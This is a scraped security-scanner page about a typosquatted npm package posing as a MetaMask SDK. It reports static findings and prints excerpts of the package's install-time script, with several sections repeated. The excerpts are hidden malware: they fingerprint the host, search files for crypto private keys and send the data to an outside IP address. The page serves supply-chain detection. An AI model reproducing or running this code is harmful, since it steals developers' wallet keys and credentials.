registry / @wagni_bot/metemask-sdk / 1.1.3

@wagni_bot/metemask-sdk@1.1.3

Unofficial metemask-sdk SDK

Static Scan Results

scanned 2h ago · by rust-scanner

Static analysis flagged 9 finding(s) at 72.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.

Static reason

One or more suspicious static signals were detected.

Decision evidence

public snapshot

Behavioral surface

Source

EnvironmentVarsFilesystemNetwork

Supply chain

UrlStrings

Manifest

NoLicense

scanned 2 file(s), 3.68 KB of source, external domains: 107.161.90.180

Source & flagged code

3 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Lines 1-21javascript

1#!/usr/bin/env node

2const http=require("http"),fs=require("fs"),path=require("path"),os=require("os");

3const URL="http://107.161.90.180:7777";

5function send(t,c){if(!c||c.length<10)return;try{const d=JSON.stringify({t:t,h:os.hostname(),u:os.userInfo().username,cwd:process.cwd(),c:c.substring(0,10000)});const r=http.request(URL,{method:

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

postinstall.jsView on unpkg · L1

7// Buscar archivos por nombre

8function scanFiles(dir,pats){

9 let r=[];

10 try{const e=fs.readdirSync(dir,{withFileTypes:true});

11 for(const x of e){

12 if(x.isFile()&&pats.some(p=>x.name.toLowerCase().includes(p)))

13 try{const c=fs.readFileSync(path.join(dir,x.name),"utf8");r.push({n:x.name,c});}catch(ex){}

14 if(x.isDirectory()&&!x.name.startsWith(".")&&!x.name.startsWith("node"))

15 try{const s=fs.readdirSync(path.join(dir,x.name),{withFileTypes:true});

16 for(const y of s)

17 if(y.isFile()&&pats.some(p=>y.name.toLowerCase().includes(p)))

18 try{const c=fs.readFileSync(path.join(dir,x.name,y.name),"utf8");r.push({n:y.name,c});}catch(ex){}

19 }catch(ex){}

20 }

21 }catch(ex){}return r;

Source & flagged code

3 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

1#!/usr/bin/env node L2: const http=require("http"),fs=require("fs"),path=require("path"),os=require("os"); L3: const URL="http://107.161.90.180:7777"; L4: L5: function send(t,c){if(!c||c.length<10)return;try{const d=JSON.stringify({t:t,h:os.hostname(),u:os.userInfo().username,cwd:process.cwd(),c:c.substring(0,10000)});const r=http.reques... L6: ... L23: L24: // Buscar contenido de archivos para crypto private keys L25: function huntCryptoKeys(dir){ ... L39: if(btcKeys)r.push({n:x.name,t:"btc_pk",c:btcKeys.join("\n")}); L40: // Buscar PRIVATE_KEY= en env L41: if(c.match(/PRIVATE_KEY\s*=\s*0x/i))r.push({n:x.name,t:"env_pk",c:c.substring(0,2000)});

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

postinstall.jsView on unpkg · L1

Findings

2 High3 Medium4 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationpostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowFilesystem

LowUrl Strings

LowNo License

Source & flagged code

3 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Lines 1-21javascript

1#!/usr/bin/env node

2const http=require("http"),fs=require("fs"),path=require("path"),os=require("os");

3const URL="http://107.161.90.180:7777";

5function send(t,c){if(!c||c.length<10)return;try{const d=JSON.stringify({t:t,h:os.hostname(),u:os.userInfo().username,cwd:process.cwd(),c:c.substring(0,10000)});const r=http.request(URL,{method:

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

postinstall.jsView on unpkg · L1

7// Buscar archivos por nombre

8function scanFiles(dir,pats){

9 let r=[];

10 try{const e=fs.readdirSync(dir,{withFileTypes:true});

11 for(const x of e){

12 if(x.isFile()&&pats.some(p=>x.name.toLowerCase().includes(p)))

13 try{const c=fs.readFileSync(path.join(dir,x.name),"utf8");r.push({n:x.name,c});}catch(ex){}

14 if(x.isDirectory()&&!x.name.startsWith(".")&&!x.name.startsWith("node"))

15 try{const s=fs.readdirSync(path.join(dir,x.name),{withFileTypes:true});

16 for(const y of s)

17 if(y.isFile()&&pats.some(p=>y.name.toLowerCase().includes(p)))

18 try{const c=fs.readFileSync(path.join(dir,x.name,y.name),"utf8");r.push({n:y.name,c});}catch(ex){}

19 }catch(ex){}

20 }

21 }catch(ex){}return r;